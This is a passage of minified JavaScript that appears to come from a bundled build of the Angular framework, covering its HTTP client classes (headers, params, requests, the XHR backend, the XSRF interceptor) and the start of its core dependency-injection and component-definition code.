g{constructor(J){this.normalizedNames=new Map,this.lazyUpdate=null,J?this.lazyInit="string"==typeof J?()=>{this.headers=new Map,J.split("\\n").forEach(Ae=>{const mt=Ae.indexOf(":");if(mt>0){const Ct=Ae.slice(0,mt),jt=Ct.toLowerCase(),pt=Ae.slice(mt+1).trim();this.maybeSetNormalizedName(Ct,jt),this.headers.has(jt)?this.headers.get(jt).push(pt):this.headers.set(jt,[pt])}})}:()=>{this.headers=new Map,Object.entries(J).forEach(([Ae,mt])=>{let Ct;if(Ct="string"==typeof mt?[mt]:"number"==typeof mt?[mt.toString()]:mt.map(jt=>jt.toString()),Ct.length>0){const jt=Ae.toLowerCase();this.headers.set(jt,Ct),this.maybeSetNormalizedName(Ae,jt)}})}:this.headers=new Map}has(J){return this.init(),this.headers.has(J.toLowerCase())}get(J){this.init();const Ae=this.headers.get(J.toLowerCase());return Ae&&Ae.length>0?Ae[0]:null}keys(){return this.init(),Array.from(this.normalizedNames.values())}getAll(J){return this.init(),this.headers.get(J.toLowerCase())||null}append(J,Ae){return this.clone({name:J,value:Ae,op:"a"})}set(J,Ae){return this.clone({name:J,value:Ae,op:"s"})}delete(J,Ae){return this.clone({name:J,value:Ae,op:"d"})}maybeSetNormalizedName(J,Ae){this.normalizedNames.has(Ae)||this.normalizedNames.set(Ae,J)}init(){this.lazyInit&&(this.lazyInit instanceof g?this.copyFrom(this.lazyInit):this.lazyInit(),this.lazyInit=null,this.lazyUpdate&&(this.lazyUpdate.forEach(J=>this.applyUpdate(J)),this.lazyUpdate=null))}copyFrom(J){J.init(),Array.from(J.headers.keys()).forEach(Ae=>{this.headers.set(Ae,J.headers.get(Ae)),this.normalizedNames.set(Ae,J.normalizedNames.get(Ae))})}clone(J){const Ae=new g;return Ae.lazyInit=this.lazyInit&&this.lazyInit instanceof g?this.lazyInit:this,Ae.lazyUpdate=(this.lazyUpdate||[]).concat([J]),Ae}applyUpdate(J){const Ae=J.name.toLowerCase();switch(J.op){case"a":case"s":let mt=J.value;if("string"==typeof mt&&(mt=[mt]),0===mt.length)return;this.maybeSetNormalizedName(J.name,Ae);const Ct=("a"===J.op?this.headers.get(Ae):void 0)||[];Ct.push(...mt),this.headers.set(Ae,Ct);break;case"d":const jt=J.value;if(jt){let pt=this.headers.get(Ae);if(!pt)return;pt=pt.filter(nt=>-1===jt.indexOf(nt)),0===pt.length?(this.headers.delete(Ae),this.normalizedNames.delete(Ae)):this.headers.set(Ae,pt)}else this.headers.delete(Ae),this.normalizedNames.delete(Ae)}}forEach(J){this.init(),Array.from(this.normalizedNames.keys()).forEach(Ae=>J(this.normalizedNames.get(Ae),this.headers.get(Ae)))}}class z{encodeKey(J){return G(J)}encodeValue(J){return G(J)}decodeKey(J){return decodeURIComponent(J)}decodeValue(J){return decodeURIComponent(J)}}const j=/%(\\d[a-f0-9])/gi,U={40:"@","3A":":",24:"$","2C":",","3B":";","3D":"=","3F":"?","2F":"/"};function G(xe){return encodeURIComponent(xe).replace(j,(J,Ae)=>U[Ae]??J)}function Q(xe){return`${xe}`}class oe{constructor(J={}){if(this.updates=null,this.cloneFrom=null,this.encoder=J.encoder||new z,J.fromString){if(J.fromObject)throw new Error("Cannot specify both fromString and fromObject.");this.map=function H(xe,J){const Ae=new Map;return xe.length>0&&xe.replace(/^\\?/,"").split("&").forEach(Ct=>{const jt=Ct.indexOf("="),[pt,nt]=-1==jt?[J.decodeKey(Ct),""]:[J.decodeKey(Ct.slice(0,jt)),J.decodeValue(Ct.slice(jt+1))],fe=Ae.get(pt)||[];fe.push(nt),Ae.set(pt,fe)}),Ae}(J.fromString,this.encoder)}else J.fromObject?(this.map=new Map,Object.keys(J.fromObject).forEach(Ae=>{const mt=J.fromObject[Ae],Ct=Array.isArray(mt)?mt.map(Q):[Q(mt)];this.map.set(Ae,Ct)})):this.map=null}has(J){return this.init(),this.map.has(J)}get(J){this.init();const Ae=this.map.get(J);return Ae?Ae[0]:null}getAll(J){return this.init(),this.map.get(J)||null}keys(){return this.init(),Array.from(this.map.keys())}append(J,Ae){return this.clone({param:J,value:Ae,op:"a"})}appendAll(J){const Ae=[];return Object.keys(J).forEach(mt=>{const Ct=J[mt];Array.isArray(Ct)?Ct.forEach(jt=>{Ae.push({param:mt,value:jt,op:"a"})}):Ae.push({param:mt,value:Ct,op:"a"})}),this.clone(Ae)}set(J,Ae){return this.clone({param:J,value:Ae,op:"s"})}delete(J,Ae){return this.clone({param:J,value:Ae,op:"d"})}toString(){return this.init(),this.keys().map(J=>{const Ae=this.encoder.encodeKey(J);return this.map.get(J).map(mt=>Ae+"="+this.encoder.encodeValue(mt)).join("&")}).filter(J=>""!==J).join("&")}clone(J){const Ae=new oe({encoder:this.encoder});return Ae.cloneFrom=this.cloneFrom||this,Ae.updates=(this.updates||[]).concat(J),Ae}init(){null===this.map&&(this.map=new Map),null!==this.cloneFrom&&(this.cloneFrom.init(),this.cloneFrom.keys().forEach(J=>this.map.set(J,this.cloneFrom.map.get(J))),this.updates.forEach(J=>{switch(J.op){case"a":case"s":const Ae=("a"===J.op?this.map.get(J.param):void 0)||[];Ae.push(Q(J.value)),this.map.set(J.param,Ae);break;case"d":if(void 0===J.value){this.map.delete(J.param);break}{let mt=this.map.get(J.param)||[];const Ct=mt.indexOf(Q(J.value));-1!==Ct&&mt.splice(Ct,1),mt.length>0?this.map.set(J.param,mt):this.map.delete(J.param)}}}),this.cloneFrom=this.updates=null)}}class k{constructor(){this.map=new Map}set(J,Ae){return this.map.set(J,Ae),this}get(J){return this.map.has(J)||this.map.set(J,J.defaultValue()),this.map.get(J)}delete(J){return this.map.delete(J),this}has(J){return this.map.has(J)}keys(){return this.map.keys()}}function se(xe){return typeof ArrayBuffer<"u"&&xe instanceof ArrayBuffer}function ee(xe){return typeof Blob<"u"&&xe instanceof Blob}function q(xe){return typeof FormData<"u"&&xe instanceof FormData}class ce{constructor(J,Ae,mt,Ct){let jt;if(this.url=Ae,this.body=null,this.reportProgress=!1,this.withCredentials=!1,this.responseType="json",this.method=J.toUpperCase(),function K(xe){switch(xe){case"DELETE":case"GET":case"HEAD":case"OPTIONS":case"JSONP":return!1;default:return!0}}(this.method)||Ct?(this.body=void 0!==mt?mt:null,jt=Ct):jt=mt,jt&&(this.reportProgress=!!jt.reportProgress,this.withCredentials=!!jt.withCredentials,jt.responseType&&(this.responseType=jt.responseType),jt.headers&&(this.headers=jt.headers),jt.context&&(this.context=jt.context),jt.params&&(this.params=jt.params)),this.headers||(this.headers=new g),this.context||(this.context=new k),this.params){const pt=this.params.toString();if(0===pt.length)this.urlWithParams=Ae;else{const nt=Ae.indexOf("?");this.urlWithParams=Ae+(-1===nt?"?":nt<Ae.length-1?"&":"")+pt}}else this.params=new oe,this.urlWithParams=Ae}serializeBody(){return null===this.body?null:se(this.body)||ee(this.body)||q(this.body)||function we(xe){return typeof URLSearchParams<"u"&&xe instanceof URLSearchParams}(this.body)||"string"==typeof this.body?this.body:this.body instanceof oe?this.body.toString():"object"==typeof this.body||"boolean"==typeof this.body||Array.isArray(this.body)?JSON.stringify(this.body):this.body.toString()}detectContentTypeHeader(){return null===this.body||q(this.body)?null:ee(this.body)?this.body.type||null:se(this.body)?null:"string"==typeof this.body?"text/plain":this.body instanceof oe?"application/x-www-form-urlencoded;charset=UTF-8":"object"==typeof this.body||"number"==typeof this.body||"boolean"==typeof this.body?"application/json":null}clone(J={}){const Ae=J.method||this.method,mt=J.url||this.url,Ct=J.responseType||this.responseType,jt=void 0!==J.body?J.body:this.body,pt=void 0!==J.withCredentials?J.withCredentials:this.withCredentials,nt=void 0!==J.reportProgress?J.reportProgress:this.reportProgress;let fe=J.headers||this.headers,Ee=J.params||this.params;const at=J.context??this.context;return void 0!==J.setHeaders&&(fe=Object.keys(J.setHeaders).reduce((Se,ot)=>Se.set(ot,J.setHeaders[ot]),fe)),J.setParams&&(Ee=Object.keys(J.setParams).reduce((Se,ot)=>Se.set(ot,J.setParams[ot]),Ee)),new ce(Ae,mt,jt,{params:Ee,headers:fe,context:at,reportProgress:nt,responseType:Ct,withCredentials:pt})}}var je=(()=>((je=je||{})[je.Sent=0]="Sent",je[je.UploadProgress=1]="UploadProgress",je[je.ResponseHeader=2]="ResponseHeader",je[je.DownloadProgress=3]="DownloadProgress",je[je.Response=4]="Response",je[je.User=5]="User",je))();class Ze{constructor(J,Ae=200,mt="OK"){this.headers=J.headers||new g,this.status=void 0!==J.status?J.status:Ae,this.statusText=J.statusText||mt,this.url=J.url||null,this.ok=this.status>=200&&this.status<300}}class le extends Ze{constructor(J={}){super(J),this.type=je.ResponseHeader}clone(J={}){return new le({headers:J.headers||this.headers,status:void 0!==J.status?J.status:this.status,statusText:J.statusText||this.statusText,url:J.url||this.url||void 0})}}class Oe extends Ze{constructor(J={}){super(J),this.type=je.Response,this.body=void 0!==J.body?J.body:null}clone(J={}){return new Oe({body:void 0!==J.body?J.body:this.body,headers:J.headers||this.headers,status:void 0!==J.status?J.status:this.status,statusText:J.statusText||this.statusText,url:J.url||this.url||void 0})}}class Qe extends Ze{constructor(J){super(J,0,"Unknown Error"),this.name="HttpErrorResponse",this.ok=!1,this.message=this.status>=200&&this.status<300?`Http failure during parsing for ${J.url||"(unknown url)"}`:`Http failure response for ${J.url||"(unknown url)"}: ${J.status} ${J.statusText}`,this.error=J.error||null}}function Ye(xe,J){return{body:J,headers:xe.headers,context:xe.context,observe:xe.observe,params:xe.params,reportProgress:xe.reportProgress,responseType:xe.responseType,withCredentials:xe.withCredentials}}let qe=(()=>{class xe{constructor(Ae){this.handler=Ae}request(Ae,mt,Ct={}){let jt;if(Ae instanceof ce)jt=Ae;else{let fe,Ee;fe=Ct.headers instanceof g?Ct.headers:new g(Ct.headers),Ct.params&&(Ee=Ct.params instanceof oe?Ct.params:new oe({fromObject:Ct.params})),jt=new ce(Ae,mt,void 0!==Ct.body?Ct.body:null,{headers:fe,context:Ct.context,params:Ee,reportProgress:Ct.reportProgress,responseType:Ct.responseType||"json",withCredentials:Ct.withCredentials})}const pt=(0,s.of)(jt).pipe((0,c.b)(fe=>this.handler.handle(fe)));if(Ae instanceof ce||"events"===Ct.observe)return pt;const nt=pt.pipe((0,f.h)(fe=>fe instanceof Oe));switch(Ct.observe||"body"){case"body":switch(jt.responseType){case"arraybuffer":return nt.pipe((0,E.U)(fe=>{if(null!==fe.body&&!(fe.body instanceof ArrayBuffer))throw new Error("Response is not an ArrayBuffer.");return fe.body}));case"blob":return nt.pipe((0,E.U)(fe=>{if(null!==fe.body&&!(fe.body instanceof Blob))throw new Error("Response is not a Blob.");return fe.body}));case"text":return nt.pipe((0,E.U)(fe=>{if(null!==fe.body&&"string"!=typeof fe.body)throw new Error("Response is not a string.");return fe.body}));default:return nt.pipe((0,E.U)(fe=>fe.body))}case"response":return nt;default:throw new Error(`Unreachable: unhandled observe type ${Ct.observe}}`)}}delete(Ae,mt={}){return this.request("DELETE",Ae,mt)}get(Ae,mt={}){return this.request("GET",Ae,mt)}head(Ae,mt={}){return this.request("HEAD",Ae,mt)}jsonp(Ae,mt){return this.request("JSONP",Ae,{params:(new oe).append(mt,"JSONP_CALLBACK"),observe:"body",responseType:"json"})}options(Ae,mt={}){return this.request("OPTIONS",Ae,mt)}patch(Ae,mt,Ct={}){return this.request("PATCH",Ae,Ye(Ct,mt))}post(Ae,mt,Ct={}){return this.request("POST",Ae,Ye(Ct,mt))}put(Ae,mt,Ct={}){return this.request("PUT",Ae,Ye(Ct,mt))}}return xe.\\u0275fac=function(Ae){return new(Ae||xe)(a.LFG(_))},xe.\\u0275prov=a.Yz7({token:xe,factory:xe.\\u0275fac}),xe})();function Ke(xe,J){return J(xe)}function dt(xe,J){return(Ae,mt)=>J.intercept(Ae,{handle:Ct=>xe(Ct,mt)})}const ze=new a.OlP("HTTP_INTERCEPTORS"),De=new a.OlP("HTTP_INTERCEPTOR_FNS");function re(){let xe=null;return(J,Ae)=>(null===xe&&(xe=((0,a.f3M)(ze,{optional:!0})??[]).reduceRight(dt,Ke)),xe(J,Ae))}let ve=(()=>{class xe extends _{constructor(Ae,mt){super(),this.backend=Ae,this.injector=mt,this.chain=null}handle(Ae){if(null===this.chain){const mt=Array.from(new Set(this.injector.get(De)));this.chain=mt.reduceRight((Ct,jt)=>function bt(xe,J,Ae){return(mt,Ct)=>Ae.runInContext(()=>J(mt,jt=>xe(jt,Ct)))}(Ct,jt,this.injector),Ke)}return this.chain(Ae,mt=>this.backend.handle(mt))}}return xe.\\u0275fac=function(Ae){return new(Ae||xe)(a.LFG(S),a.LFG(a.lqb))},xe.\\u0275prov=a.Yz7({token:xe,factory:xe.\\u0275fac}),xe})();const Et=/^\\)\\]\\}\',?\\n/;let Pt=(()=>{class xe{constructor(Ae){this.xhrFactory=Ae}handle(Ae){if("JSONP"===Ae.method)throw new Error("Attempted to construct Jsonp request without HttpClientJsonpModule installed.");return new u.y(mt=>{const Ct=this.xhrFactory.build();if(Ct.open(Ae.method,Ae.urlWithParams),Ae.withCredentials&&(Ct.withCredentials=!0),Ae.headers.forEach((Ne,ut)=>Ct.setRequestHeader(Ne,ut.join(","))),Ae.headers.has("Accept")||Ct.setRequestHeader("Accept","application/json, text/plain, */*"),!Ae.headers.has("Content-Type")){const Ne=Ae.detectContentTypeHeader();null!==Ne&&Ct.setRequestHeader("Content-Type",Ne)}if(Ae.responseType){const Ne=Ae.responseType.toLowerCase();Ct.responseType="json"!==Ne?Ne:"text"}const jt=Ae.serializeBody();let pt=null;const nt=()=>{if(null!==pt)return pt;const Ne=Ct.statusText||"OK",ut=new g(Ct.getAllResponseHeaders()),Rt=function Dt(xe){return"responseURL"in xe&&xe.responseURL?xe.responseURL:/^X-Request-URL:/m.test(xe.getAllResponseHeaders())?xe.getResponseHeader("X-Request-URL"):null}(Ct)||Ae.url;return pt=new le({headers:ut,status:Ct.status,statusText:Ne,url:Rt}),pt},fe=()=>{let{headers:Ne,status:ut,statusText:Rt,url:Zt}=nt(),a1=null;204!==ut&&(a1=typeof Ct.response>"u"?Ct.responseText:Ct.response),0===ut&&(ut=a1?200:0);let _1=ut>=200&&ut<300;if("json"===Ae.responseType&&"string"==typeof a1){const G1=a1;a1=a1.replace(Et,"");try{a1=""!==a1?JSON.parse(a1):null}catch(gn){a1=G1,_1&&(_1=!1,a1={error:gn,text:a1})}}_1?(mt.next(new Oe({body:a1,headers:Ne,status:ut,statusText:Rt,url:Zt||void 0})),mt.complete()):mt.error(new Qe({error:a1,headers:Ne,status:ut,statusText:Rt,url:Zt||void 0}))},Ee=Ne=>{const{url:ut}=nt(),Rt=new Qe({error:Ne,status:Ct.status||0,statusText:Ct.statusText||"Unknown Error",url:ut||void 0});mt.error(Rt)};let at=!1;const Se=Ne=>{at||(mt.next(nt()),at=!0);let ut={type:je.DownloadProgress,loaded:Ne.loaded};Ne.lengthComputable&&(ut.total=Ne.total),"text"===Ae.responseType&&Ct.responseText&&(ut.partialText=Ct.responseText),mt.next(ut)},ot=Ne=>{let ut={type:je.UploadProgress,loaded:Ne.loaded};Ne.lengthComputable&&(ut.total=Ne.total),mt.next(ut)};return Ct.addEventListener("load",fe),Ct.addEventListener("error",Ee),Ct.addEventListener("timeout",Ee),Ct.addEventListener("abort",Ee),Ae.reportProgress&&(Ct.addEventListener("progress",Se),null!==jt&&Ct.upload&&Ct.upload.addEventListener("progress",ot)),Ct.send(jt),mt.next({type:je.Sent}),()=>{Ct.removeEventListener("error",Ee),Ct.removeEventListener("abort",Ee),Ct.removeEventListener("load",fe),Ct.removeEventListener("timeout",Ee),Ae.reportProgress&&(Ct.removeEventListener("progress",Se),null!==jt&&Ct.upload&&Ct.upload.removeEventListener("progress",ot)),Ct.readyState!==Ct.DONE&&Ct.abort()}})}}return xe.\\u0275fac=function(Ae){return new(Ae||xe)(a.LFG(n.JF))},xe.\\u0275prov=a.Yz7({token:xe,factory:xe.\\u0275fac}),xe})();const Ie=new a.OlP("XSRF_ENABLED"),x=new a.OlP("XSRF_COOKIE_NAME",{providedIn:"root",factory:()=>"XSRF-TOKEN"}),b=new a.OlP("XSRF_HEADER_NAME",{providedIn:"root",factory:()=>"X-XSRF-TOKEN"});class B{}let ie=(()=>{class xe{constructor(Ae,mt,Ct){this.doc=Ae,this.platform=mt,this.cookieName=Ct,this.lastCookieString="",this.lastToken=null,this.parseCount=0}getToken(){if("server"===this.platform)return null;const Ae=this.doc.cookie||"";return Ae!==this.lastCookieString&&(this.parseCount++,this.lastToken=(0,n.Mx)(Ae,this.cookieName),this.lastCookieString=Ae),this.lastToken}}return xe.\\u0275fac=function(Ae){return new(Ae||xe)(a.LFG(n.K0),a.LFG(a.Lbi),a.LFG(x))},xe.\\u0275prov=a.Yz7({token:xe,factory:xe.\\u0275fac}),xe})();function Xe(xe,J){const Ae=xe.url.toLowerCase();if(!(0,a.f3M)(Ie)||"GET"===xe.method||"HEAD"===xe.method||Ae.startsWith("http://")||Ae.startsWith("https://"))return J(xe);const mt=(0,a.f3M)(B).getToken(),Ct=(0,a.f3M)(b);return null!=mt&&!xe.headers.has(Ct)&&(xe=xe.clone({headers:xe.headers.set(Ct,mt)})),J(xe)}var wt=(()=>((wt=wt||{})[wt.Interceptors=0]="Interceptors",wt[wt.LegacyInterceptors=1]="LegacyInterceptors",wt[wt.CustomXsrfConfiguration=2]="CustomXsrfConfiguration",wt[wt.NoXsrfProtection=3]="NoXsrfProtection",wt[wt.JsonpSupport=4]="JsonpSupport",wt[wt.RequestsMadeViaParent=5]="RequestsMadeViaParent",wt))();function Vt(xe,J){return{\\u0275kind:xe,\\u0275providers:J}}function Gt(...xe){const J=[qe,Pt,ve,{provide:_,useExisting:ve},{provide:S,useExisting:Pt},{provide:De,useValue:Xe,multi:!0},{provide:Ie,useValue:!0},{provide:B,useClass:ie}];for(const Ae of xe)J.push(...Ae.\\u0275providers);return(0,a.MR2)(J)}const u1=new a.OlP("LEGACY_INTERCEPTOR_FN");let Pe=(()=>{class xe{}return xe.\\u0275fac=function(Ae){return new(Ae||xe)},xe.\\u0275mod=a.oAB({type:xe}),xe.\\u0275inj=a.cJS({providers:[Gt(Vt(wt.LegacyInterceptors,[{provide:u1,useFactory:re},{provide:De,useExisting:u1,multi:!0}]))]}),xe})()},4650:(At,ae,d)=>{"use strict";d.d(ae,{$8M:()=>oi,$WT:()=>$,$Z:()=>E6,AFp:()=>O9,ALo:()=>Xd,AaK:()=>_,AsE:()=>No,BQk:()=>Oo,CHM:()=>O1,CRH:()=>d9,CZH:()=>xc,Ckj:()=>q3,CqO:()=>u0,D6c:()=>Rf,DdM:()=>jd,EJc:()=>Zh,EiD:()=>Z3,EpF:()=>l0,F$t:()=>g0,F4k:()=>d0,FYo:()=>l6,FiY:()=>On,G48:()=>vf,Gf:()=>c9,GfV:()=>d6,GkF:()=>n3,Gpc:()=>C,Gre:()=>U0,HOy:()=>y3,Hsn:()=>v0,IIB:()=>Gh,Ikx:()=>Ho,JOm:()=>L2,JVY:()=>Gc,JZr:()=>G,Jf7:()=>u6,KtG:()=>an,L6k:()=>jc,LAX:()=>Yc,LFG:()=>Pe,LSH:()=>m4,Lbi:()=>Yh,Lck:()=>ju,MAs:()=>o0,MGl:()=>Io,MMx:()=>h7,MR2:()=>sl,NdJ:()=>a3,O4$:()=>H2,OlP:()=>yn,Oqu:()=>Fo,P3R:()=>X3,PXZ:()=>hf,Q6J:()=>X4,QGY:()=>r3,QbO:()=>Wh,Qsj:()=>Cl,R0b:()=>yr,RDi:()=>Fc,Rgc:()=>S3,SBq:()=>Ts,Sil:()=>qh,Suo:()=>l9,TTD:()=>fi,TgZ:()=>To,Tol:()=>T0,Udp:()=>m3,VKq:()=>Yd,W1O:()=>p9,WFA:()=>s3,WLB:()=>Wd,XFs:()=>Ie,Xpm:()=>_1,Xts:()=>g4,Y36:()=>Ga,YKP:()=>Rd,YNc:()=>s0,Yjl:()=>Me,Yz7:()=>Be,Z0I:()=>R,ZZ4:()=>F7,_Bn:()=>Id,_UZ:()=>t3,_Vd:()=>zs,_c5:()=>Of,_uU:()=>F0,aQg:()=>N7,c2e:()=>$h,cJS:()=>P,cg1:()=>M3,d8E:()=>Vo,dDg:()=>cf,dqk:()=>ie,eBb:()=>U3,eFA:()=>W9,eJc:()=>C7,ekj:()=>g3,eoX:()=>U9,evT:()=>h6,f3M:()=>Ue,g9A:()=>R9,h0i:()=>Go,hGG:()=>If,hYB:()=>Ro,hij:()=>Ns,iGM:()=>o9,ifc:()=>fe,ip1:()=>k9,jDz:()=>Fd,kEZ:()=>$d,kL8:()=>nc,kYT:()=>on,kcU:()=>l2,lG2:()=>vt,lcZ:()=>e9,lnq:()=>_3,lqb:()=>ya,lri:()=>V9,mCW:()=>As,n5z:()=>ta,n_E:()=>_c,oAB:()=>P1,oJD:()=>Q3,oxw:()=>m0,pB0:()=>Wc,q3G:()=>Si,qLn:()=>Ls,qOj:()=>K4,qZA:()=>Lo,qzn:()=>Na,rWj:()=>B9,r_U:()=>jh,s9C:()=>o3,sBO:()=>_f,s_b:()=>bc,soG:()=>Dc,tb:()=>j9,tp0:()=>Yi,uIk:()=>q4,vHH:()=>Q,vR:()=>ra,vpe:()=>Qr,wAp:()=>z1,xi3:()=>t9,xp6:()=>v6,ynx:()=>ko,z2F:()=>wc,z3N:()=>Lr,zSh:()=>C4,zs3:()=>ba});var n=d(8929),a=d(2654),s=d(6498),u=d(6787),c=d(2474);function f(e){for(let t in e)if(e[t]===f)return t;throw Error("Could not find renamed property on target object.")}function E(e,t){for(const i in t)t.hasOwnProperty(i)&&!e.hasOwnProperty(i)&&(e[i]=t[i])}function _(e){if("string"==typeof e)return e;if(Array.isArray(e))return"["+e.map(_).join(", ")+"]";if(null==e)return""+e;if(e.overriddenName)return`${e.overriddenName}`;if(e.name)return`${e.name}`;const t=e.toString();if(null==t)return""+t;const i=t.indexOf("\\n");return-1===i?t:t.substring(0,i)}function S(e,t){return null==e||""===e?null===t?"":t:null==t||""===t?e:e+" "+t}const g=f({__forward_ref__:f});function C(e){return e.__forward_ref__=C,e.toString=function(){return _(this())},e}function z(e){return H(e)?e():e}function H(e){return"function"==typeof e&&e.hasOwnProperty(g)&&e.__forward_ref__===C}function j(e){return e&&!!e.\\u0275providers}const G="https://g.co/ng/security#xss";class Q extends Error{constructor(t,i){super(oe(t,i)),this.code=t}}function oe(e,t){return`NG0${Math.abs(e)}${t?": "+t.trim():""}`}function Ce(e){return"string"==typeof e?e:null==e?"":String(e)}function q(e,t){throw new Q(-201,!1)}function De(e,t){null==e&&function re(e,t,i,r){throw new Error(`ASSERTION ERROR: ${e}`+(null==r?"":` [Expected=> ${i} ${r} ${t} <=Actual]`))}(t,e,null,"!=")}function Be(e){return{token:e.token,providedIn:e.providedIn||null,factory:e.factory,value:void 0}}function P(e){return{providers:e.providers||[],imports:e.imports||[]}}function w(e){return X(e,Je)||X(e,Dt)}function R(e){return null!==w(e)}function X(e,t){return e.hasOwnProperty(t)?e[t]:null}function ct(e){return e&&(e.hasOwnProperty(Et)||e.hasOwnProperty(Pt))?e[Et]:null}const Je=f({\\u0275prov:f}),Et=f({\\u0275inj:f}),Dt=f({ngInjectableDef:f}),Pt=f({ngInjectorDef:f});var Ie=(()=>((Ie=Ie||{})[Ie.Default=0]="Default",Ie[Ie.Host=1]="Host",Ie[Ie.Self=2]="Self",Ie[Ie.SkipSelf=4]="SkipSelf",Ie[Ie.Optional=8]="Optional",Ie))();let te;function m(e){const t=te;return te=e,t}function b(e,t,i){const r=w(e);return r&&"root"==r.providedIn?void 0===r.value?r.value=r.factory():r.value:i&Ie.Optional?null:void 0!==t?t:void q(_(e))}const ie=(()=>typeof globalThis<"u"&&globalThis||typeof global<"u"&&global||typeof window<"u"&&window||typeof self<"u"&&typeof WorkerGlobalScope<"u"&&self instanceof WorkerGlobalScope&&self)(),Vt={},Gt="__NG_DI_FLAG__",qt="ngTempTokenPath",u1="ngTokenPath",c1=/\\n/gm,It="\\u0275",_t="__source";let kt;function Fe(e){const t=kt;return kt=e,t}function be(e,t=Ie.Default){if(void 0===kt)throw new Q(-203,!1);return null===kt?b(e,void 0,t):kt.get(e,t&Ie.Optional?null:void 0,t)}function Pe(e,t=Ie.Default){return(function x(){return te}()||be)(z(e),t)}function Ue(e,t=Ie.Default){return Pe(e,xe(t))}function xe(e){return typeof e>"u"||"number"==typeof e?e:0|(e.optional&&8)|(e.host&&1)|(e.self&&2)|(e.skipSelf&&4)}function J(e){const t=[];for(let i=0;i<e.length;i++){const r=z(e[i]);if(Array.isArray(r)){if(0===r.length)throw new Q(900,!1);let o,l=Ie.Default;for(let v=0;v<r.length;v++){const F=r[v],Y=mt(F);"number"==typeof Y?-1===Y?o=F.token:l|=Y:o=F}t.push(Pe(o,l))}else t.push(Pe(r))}return t}function Ae(e,t){return e[Gt]=t,e.prototype[Gt]=t,e}function mt(e){return e[Gt]}function pt(e){return{toString:e}.toString()}var nt=(()=>((nt=nt||{})[nt.OnPush=0]="OnPush",nt[nt.Default=1]="Default",nt))(),fe=(()=>{return(e=fe||(fe={}))[e.Emulated=0]="Emulated",e[e.None=2]="None",e[e.ShadowDom=3]="ShadowDom",fe;var e})();const Ee={},at=[],Se=f({\\u0275cmp:f}),ot=f({\\u0275dir:f}),Ne=f({\\u0275pipe:f}),ut=f({\\u0275mod:f}),Rt=f({\\u0275fac:f}),Zt=f({__NG_ELEMENT_ID__:f});let a1=0;function _1(e){return pt(()=>{const t=lt(e),i={...t,decls:e.decls,vars:e.vars,template:e.template,consts:e.consts||null,ngContentSelectors:e.ngContentSelectors,onPush:e.changeDetection===nt.OnPush,directiveDefs:null,pipeDefs:null,dependencies:t.standalone&&e.dependencies||null,getStandaloneInjector:null,data:e.data||{},encapsulation:e.encapsulation||fe.Emulated,id:"c"+a1++,styles:e.styles||at,_:null,schemas:e.schemas||null,tView:null};Wt(i);const r=e.dependencies;return i.directiveDefs=p1(r,!1),i.pipeDefs=p1(r,!0),i})}function gn(e){return O(e)||de(e)}function nn(e){return null!==e}function P1(e){return pt(()=>({type:e.type,bootstrap:e.bootstrap||at,declarations:e.declarations||at,imports:e.imports||at,exports:e.exports||at,transitiveCompileScopes:null,schemas:e.schemas||null,id:e.id||null}))}function on(e,t){return pt(()=>{const i=ke(e,!0);i.declarations=t.declarations||at,i.imports=t.imports||at,i.exports=t.exports||at})}function Ge(e,t){if(null==e)return Ee;const i={};for(const r in e)if(e.hasOwnProperty(r)){let o=e[r],l=o;Array.isArray(o)&&(l=o[1],o=o[0]),i[o]=r,t&&(t[o]=l)}return i}function vt(e){return pt(()=>{const t=lt(e);return Wt(t),t})}function Me(e){return{type:e.type,name:e.name,factory:null,pure:!1!==e.pure,standalone:!0===e.standalone,onDestroy:e.type.prototype.ngOnDestroy||null}}function O(e){return e[Se]||null}function de(e){return e[ot]||null}function h(e){return e[Ne]||null}function $(e){const t=O(e)||de(e)||h(e);return null!==t&&t.standalone}function ke(e,t){const i=e[ut]||null;if(!i&&!0===t)throw new Error(`Type ${_(e)} does not have \'\\u0275mod\' property.`);return i}function lt(e){const t={};return{type:e.type,providersResolver:null,factory:null,hostBindings:e.hostBindings||null,hostVars:e.hostVars||0,hostAttrs:e.hostAttrs||null,contentQueries:e.contentQueries||null,declaredInputs:t,exportAs:e.exportAs||null,standalone:!0===e.standalone,selectors:e.selectors||at,viewQuery:e.viewQuery||null,features:e.features||null,setInput:null,findHostDirectiveDefs:null,hostDirectives:null,inputs:Ge(e.inputs,t),outputs:Ge(e.outputs)}}function Wt(e){e.features?.forEach(t=>t(e))}function p1(e,t){if(!e)return null;const i=t?h:gn;return()=>("function"==typeof e?e():e).map(r=>i(r)).filter(nn)}const w1=0,Qt=1,h1=2,N1=3,Y1=4,T1=5,V1=6,vn=7,E1=8,In=9,Gn=10,D1=11,ci=12,fn=13,Rn=14,cn=15,X1=16,Pn=17,Fn=18,An=19,$n=20,li=21,L1=22,Mn=1,di=2,ri=7,_i=8,Nn=9,ln=10;function dn(e){return Array.isArray(e)&&"object"==typeof e[Mn]}function Sn(e){return Array.isArray(e)&&!0===e[Mn]}function Ei(e){return 0!=(4&e.flags)}function Hn(e){return e.componentOffset>-1}function ui(e){return 1==(1&e.flags)}function pn(e){return!!e.template}function Fi(e){return 0!=(256&e[h1])}function ai(e,t){return e.hasOwnProperty(Rt)?e[Rt]:null}class jn{constructor(t,i,r){this.previousValue=t,this.currentValue=i,this.firstChange=r}isFirstChange(){return this.firstChange}}function fi(){return Ui}function Ui(e){return e.type.prototype.ngOnChanges&&(e.setInput=Li),o2}function o2(){const e=Ci(this),t=e?.current;if(t){const i=e.previous;if(i===Ee)e.previous=t;else for(let r in t)i[r]=t[r];e.current=null,this.ngOnChanges(t)}}function Li(e,t,i,r){const o=this.declaredInputs[i],l=Ci(e)||function ti(e,t){return e[ki]=t}(e,{previous:Ee,current:null}),v=l.current||(l.current={}),F=l.previous,Y=F[o];v[o]=new jn(Y&&Y.currentValue,t,F===Ee),e[r]=t}fi.ngInherit=!0;const ki="__ngSimpleChanges__";function Ci(e){return e[ki]||null}const bn=function(e,t,i){},Gi="svg";function en(e){for(;Array.isArray(e);)e=e[w1];return e}function m2(e,t){return en(t[e])}function _n(e,t){return en(t[e.index])}function pi(e,t){return e.data[t]}function si(e,t){return e[t]}function Vn(e,t){const i=t[e];return dn(i)?i:i[w1]}function xn(e){return 64==(64&e[h1])}function Qn(e,t){return null==t?null:e[t]}function w2(e){e[Fn]=0}function c2(e,t){e[T1]+=t;let i=e,r=e[N1];for(;null!==r&&(1===t&&1===i[T1]||-1===t&&0===i[T1]);)r[T1]+=t,i=r,r=r[N1]}const ye={lFrame:Tn(null),bindingsEnabled:!0};function gt(){return 